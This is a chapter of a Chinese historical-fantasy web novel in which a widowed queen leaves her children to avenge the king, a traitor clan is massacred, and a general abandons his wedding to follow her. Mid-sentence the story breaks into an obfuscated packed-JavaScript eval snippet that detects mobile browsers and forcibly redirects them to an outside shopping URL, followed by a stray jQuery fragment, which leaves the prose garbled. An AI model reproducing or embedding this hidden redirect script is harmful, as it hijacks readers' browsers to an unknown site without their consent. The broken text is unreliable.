十月初八，元承祎照常早起，穿素服、绾丧髻、披麻衣，跟冯姮报备之后，携弟弟妹妹去景和宫向母后请安。
他进了前殿，发现一直病怏怏的母后，早已坐在前殿静候多时，定神细看，不由愣住了。
这个早晨，舜英没有锦衣华服、钗环珠翠，没有脂粉和黛青，没有繁复的发髻。
她只穿着一身简素白袍，愈发衬得她眉眼俊秀、顾盼神飞，乌发挽成简单的椎髻，只别着一支彩玉簪，簪尾隐隐绰绰一簇紫色木槿。
那个雍容娴雅的褚王后不见了，此刻的她，像是出鞘的泠泠长剑。
见三个孩子进来，她苍白的脸上浮出一丝笑意，蹲下身，平平注视着三个孩子。
“承祎、承徽、承祉，母后要去替大翊的君父、你们的父王复仇！”
“这很危险，却不得不做。”
“不是要抛下你们，只是若不这样做，母后过不去自己，他日到了九泉之下更无颜面对那些故人。我首先是自己，其次是大翊的女君，最后才是你们的生母。”
承祉尚自懵懂，承祎和承徽已隐约明白她话中悲凉之意，含泪埋下头，一言不发静静听着。
“母后走以后，你们要听祖母的话，好好吃饭睡觉长身体。要像父王那样，克己慎行、勤学苦读、习武不辍。”
“如今，承陵哥哥就是你们的亲兄长，你们要敬他、爱他，长大之后尽心辅助他。”
话音刚落，殿门传来清越的男声：“孩儿不过暂代朝政，已决意立承祎为储，必将尽我所能，教导承祎成为父王那般睿智圣明的君主。待承祎成年之后，还位于父王一脉。”
舜英笑了笑：“你临危受命，这位置踏踏实实坐着吧，最好坐个几十年，翊国再也经不起改换国君的风波了。”
承陵忽然弯曲双膝，行稽首大礼，轻声道：“孩儿半生所学的，仅仅是如何行军打仗、坐镇中帐，并无治国安邦之才能，还请母后留下来，指导儿臣一二。”
“便是不为了孩儿，也要为了父王殒身守护的江山社稷。”
绕了一圈，还是劝她。
舜英静静注视着他，笑了：“承陵，论平衡势力、高瞻远瞩，母后不如祖母；论才学广博、运筹帷幄，母后不如丞相；论擢贤选材、整肃吏治，母后不如御史大夫；论充盈国库、管理度支，母后不如大司农；论行军打仗，母后更是不如太尉……”
“先王已给你留下最得力的班底，你只需纳谏如流、兼听明辨，多学上几年便都会了。只一事特别注意——慎战，未彻底掌握三军之前，勿要轻启战端。”
“孩儿听父王母后的”，承陵直起上身，含泪看向她，“只是，还望母后顾惜性命……”
舜英一分一分抚过长着薄茧的掌心和虎口，声音柔软而坚决：“承陵，这世间大多数事都可以转圜、可以妥协、可以容让，唯独背叛和人命，必须血债血偿！弑君之仇不报，逆臣不除，朔门关不收，我大翊还有何国威可言？”
承祎满眼不舍，愤愤道：“满朝文武，八方将领，千百年世家大族，为何非得母后亲自去……”
“重要的不是谁去，而是必须得有人去”，舜英的笑容变得风轻云淡，目光扫过跪成一排的四个孩子，神情透出傲然，“记住了，咱们从小长自公宫，受万民供奉、享天下之养，存亡之际就该担负起王族的责任。”
最后，她依次抱了抱三个稚子，替他们擦干泪水，从桌上提起收拾好的包袱，大步流星跨出了殿门。
身后，元承陵携弟妹三跪九叩、稽首大拜，泪如雨下。
她头也不回地，决然远去。
.
舜英出南薰门时，见到了等候多时的元璟，相对久久无言。
“师父，我们上次对饮是何时？”
“永平一年，褚宅后院，你成婚前两天。”
“师父若白日得闲，劳烦移驾寒舍，徒儿想再与师父同饮一醉。”
云色浅灰，天光惨淡，灵位一张、师徒两人。
“阿英，你身子还没养好，少喝些”，他注视着她，这个他一手带大、与他情同父子的女人，又试探着问，“非去不可吗？”
舜英喝得双眼雾蒙蒙的：“师父，当年你率骑兵千里追杀、剿灭郭越时，是否也问过自己，非去不可吗？”
元璟默然，埋下头一口一口喝着闷酒：“你刚出小月，身子还很虚弱，这样冷的天何须急于一时？等开了春，我手头事情放一放，与你同去。”
舜英举起手，放到眼前晃了晃，悲凉地笑了：“自古名将如美人，不许人间见白头。”
舜英收好行装，走出院门时，玉衡牵着那匹盗骊迎上来：“首领，所有良驹已送至沿途驿站。”
她决意复仇，元承陵苦劝不住，只得将马厩里最好的几百匹马尽数赠了他们。
舜英摸了摸盗骊油黑发亮的鬃毛，将包袱和革袋搭上去，纵身跃上马背。
宅邸前的空地上，黑压压站了数百人，均已收拾停当，倚在马前等候。
“隐蝠卫开阳，率刀客三十九人，向首领报到！”
“隐蝠卫玉衡，率卫士一百人，向首领报到！”
“游击营元念笙，率义士一百一十七人，向太后报到！”
一行人伏低上身，迎着萧瑟的寒风，飒沓如流星，渡过已开始结冰的伊河，西行过怀阳、建兴，而后北上，直奔朔宁府武原城。
永平六年十月二十，宣氏灭门惨案举世瞩目、震悚列国。
一夜之间，宣正淼以及追随他的宣氏子弟，所有子侄、孙辈共计四百二十八人，皆在睡梦中被一刀割喉。
凶案之后，杀手并未掩盖行藏，反而将死者移到三大关隘，趁夜色在竖起四百多根木杆，再用六寸长的铁钎，将尸体摆成跪倒的姿势，钉在城楼之上。
首恶宣正淼最凄惨，被剥光衣服，七根铁钉分别贯穿了他的头颅、胸腔、四肢和下腹，将他上不着天、下不着地钉在边墙北面，朔方门的门楣之上，活活冻死。
被钉在城楼上的宣正淼，以发覆面、口含米糠，他那具毫无遮掩的尸身上，被刀割出两个血红大字——“叛臣”。
.
十月廿六，灵昌王宫从安门出、过子午大街转弯向东，一直到洛川别苑，沿途的十万株红梅新吐芳蕊，玉骨冰肌晕浅红。
苻洵穿一袭玄色轻裘，策马疾驰穿过东城门，在洛川别苑门口勒住缰绳。郎琊和秦川等了颇久，正搓着手闲聊，听到马打响鼻的“咈咈”声，才回过神，迎过来替他牵马。
苻洵抬手止住：“你们方才在聊什么，宣氏？灭门惨案？”
秦川打了个寒噤：“好狠，四百多口人……天寒地冻的，就那样把人毫无遮掩地钉在城楼上。”
“不是这个”，苻洵打断他的话，“他的尸首上写的什么字？”
秦川茫然抬头，不假思索地回复：“叛臣！”
苻洵又问：“你们两个刚才议论是谁干的？”
“褚太后，一猜就是她”，秦川不以为意，重复了一遍，“四百二十八人，一夜之间，这身手……”
“太后？”苻洵声音陡然拔高。
秦川懵了，摸着鼻子讷讷道：“主子您不知道啊……”
“别说了”，郎琊忙低声喝止他，条理清楚地禀报：“九月初九，永平王战死武原城，新王已在灵前即位……”
他再说什么，苻洵已听不进去了，垂眸凝视着地面、陷入沉思，片刻之后，瞳孔倏然放大、满是惊惶。
猛然抬头，厉声叱令：“郎琊秦川，即刻集结白袍卫，每人携带七天干粮，半个时辰之后我要在这儿见到所有人！”
“姚晟，去马厩，把所有喂饱的肥马都牵出来，还有所有御寒衣物！”
半个时辰后，苻洵已换了匹耐力极好的黄骠马，郎琊、秦川扈从左右，身后的白袍卫纷纷翻身上马，整装待发。
苻洵高举
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300734|144820||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
右手，正要一声令下……
秦川向门内瞄了几眼，咽了口唾沫，迟疑着提醒：“主子，您是不是忘了什么？”
苻洵顺秦川的目光看去，举起的手缓缓放下，愣住了。
洛川别苑早已布置妥当，正门、围墙边都挂着红艳艳的绸带绸花，檐下灯笼亮红如燃，到处张灯结彩、披红挂绿，贴满硕大的“囍”字。
确是忘了。
忘了他后天的婚期。
还有门内那永远低眉顺眼、沉静柔婉的女人，那个默默为他操持家事、教养子女，即将成为他妻子的女人。
锦瑟站在影壁处，默默看了不知多久，直到他转头、对上她泛红的眼圈时，才挤出一个温婉的微笑。
她双眸的泪光依稀可见，唇角却竭力上扬，两掌置于右腰，弯曲双膝，头埋得很低，对他恭恭敬敬敛衽一礼：“妾恭送将军，一路顺风。”
苻洵怔愣片刻，张了张嘴，却什么都没对她说，回过头目视前方，高喝：“出发！”
上百匹马从洛川别苑门口飞驰而过，激起的烟尘久久不息。
大丫鬟絮儿觑着她脸色，轻声说：“夫人，外头冷，回屋吧。”
“一介妾婢，当不起‘夫人’之称”，锦瑟笑容更盛，合目的瞬间，泪珠滚落双颊，“叫他们把这些丝带绸花都撤掉吧，喜字和灯笼也不要了。”
“姚晟，派人通知宾客罢……十月廿八，不会有婚仪了。”
絮儿宽慰道：“夫人如此善解人意，将军迟早会晓得夫人的好。”
“不是夫人”，锦瑟声音陡然拔高，摸了摸脸、自嘲地说，“倚翠楼的清倌人，侥幸仗着一张相似的脸，白受七年供养，敢不善解人意么？”
与洛川别苑一街之隔的“风归云”客栈，元晴站在顶楼上，全程眼睁睁看着，苻洵在家门口勒马止步，未曾踏进家门半步，便径直率上百人绝尘而去。
她不禁失望地闭上了双眼。
只需要十步，从大门到影壁的距离，七杀阵便可开始运转。
却唯独差了这十步。
“时也，命也。”
.
身后是武原城焦黑断壁残垣，城楼上的尸体已冻成冰雕。
九月初九那场大火后没几天，困坐愁城多日的冯栩率领仅剩的四万精兵，北出朔门关，撕开谢朗的战线，突围而出，逃回柘枝城。
浅灰的天穹下，疾风呼啸，从朔门关极目北望，越过七重瓮城，乌兰山已被厚厚的坚冰和积雪覆盖。巴掌大的雪花连翩坠落，吸进肺腑的空气冰寒刺骨。
舜英从玉衡手中接过貂绒大氅拢紧，侧过头轻声说：“笙儿，带他们回去吧。”
“再往北，冰厚三尺、雪覆千里，游击营的人本来伤就没好全，出了关不一定扛得住。我们往年是冻惯了的，去柘枝城，这些人就够了。”
“可是，四婶的身子也并未好全”，念笙吸了吸鼻子，恳求道，“咱们一起回去，明年雪化了再一起去找冯栩，可好？”
舜英笑了：“所谓出其不意，攻其不备，此时正是良机。”
“帮我办件事，回去的路上，转告武煊、姜榷、你爹爹，还有承陵，武原城失了宣氏的控制，收复两关指日可待。但是，不要急……”
“伊河的冰层已厚得能过马了，好生防范河对面的荣国骑兵。若要收复两关，最好是明年二月到四月之间。”
念笙眼眶发热，连连点头：“都听四婶的。”
舜英将单薄的身子挺得更直了些，扬声大笑：“回去转告陛下，备好诏书和的虎符。我褚舜英，司南侯之女、襄国公之徒、大翊女君，若能全须全尾从柘枝城回来，来年必亲自挂帅出征，收复河山！”
念笙眼含热泪、心潮澎湃，抱拳高呼：“侄女定会及时转达，山高路遥，四婶一路保重，早日凯旋！”
在她身后，游击营一百多名兵卒纷纷下跪，齐声高呼：“殿下一路保重，早日凯旋！”